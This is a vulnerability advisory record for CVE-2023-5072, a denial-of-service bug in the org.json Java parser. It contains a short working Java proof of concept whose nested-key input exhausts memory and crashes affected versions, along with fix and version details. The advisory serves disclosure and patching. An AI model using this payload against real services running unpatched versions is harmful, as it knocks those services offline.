Vulnerabilities in pkg:maven/org.json/json

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-4jq9-2xhw-jpx7",
  "modified" : "2025-08-22T20:55:25Z",
  "published" : "2023-11-14T22:24:08Z",
  "aliases" : [ "CVE-2023-5072" ],
  "summary" : "Java: DoS Vulnerability in JSON-JAVA",
  "details" : "### Summary\nA denial of service vulnerability in JSON-Java was discovered by [ClusterFuzz](https://google.github.io/clusterfuzz/).  A bug in the parser means that an input string of modest size can lead to indefinite amounts of memory being used. There are two issues: (1) the parser bug can be used to circumvent a check that is supposed to prevent the key in a JSON object from itself being another JSON object; (2) if a key does end up being a JSON object then it gets converted into a string, using `\\` to escape special characters, including `\\` itself. So by nesting JSON objects, with a key that is a JSON object that has a key that is a JSON object, and so on, we can get an exponential number of `\\` characters in the escaped string.\n\n### Severity\nHigh - Because this is an already-fixed DoS vulnerability, the only remaining impact possible is for existing binaries that have not been updated yet.\n\n### Proof of Concept\n```java\npackage orgjsonbug;\n\nimport org.json.JSONObject;\n\n/**\n * Illustrates a bug in JSON-Java.\n */\npublic class Bug {\n  private static String makeNested(int depth) {\n    if (depth == 0) {\n      return \"{\\\"a\\\":1}\";\n    }\n    return \"{\\\"a\\\":1;\\t\\0\" + makeNested(depth - 1) + \":1}\";\n  }\n\n  public static void main(String[] args) {\n    String input = makeNested(30);\n    System.out.printf(\"Input string has length %d: %s\\n\", input.length(), input);\n    JSONObject output = new JSONObject(input);\n    System.out.printf(\"Output JSONObject has length %d: %s\\n\", output.toString().length(), output);\n  }\n}\n```\nWhen run, this reports that the input string has length 367. Then, after a long pause, the program crashes inside new JSONObject with OutOfMemoryError.\n\n### Further Analysis\nThe issue is fixed by [this PR](https://github.com/stleary/JSON-java/pull/759).\n\n### Timeline\n**Date reported**: 07/14/2023\n**Date fixed**: \n**Date disclosed**: 10/12/2023",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.json:json"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "20231013"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 20230618"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/google/security-research/security/advisories/GHSA-4jq9-2xhw-jpx7"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2023-5072"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/issues/758"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/issues/771"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/pull/759"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/stleary/JSON-java/commit/60662e2f8384d3449822a3a1179bfe8de67b55bb"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/stleary/JSON-java"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-358" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2023-11-14T22:24:08Z",
    "nvd_published_at" : null
  }
}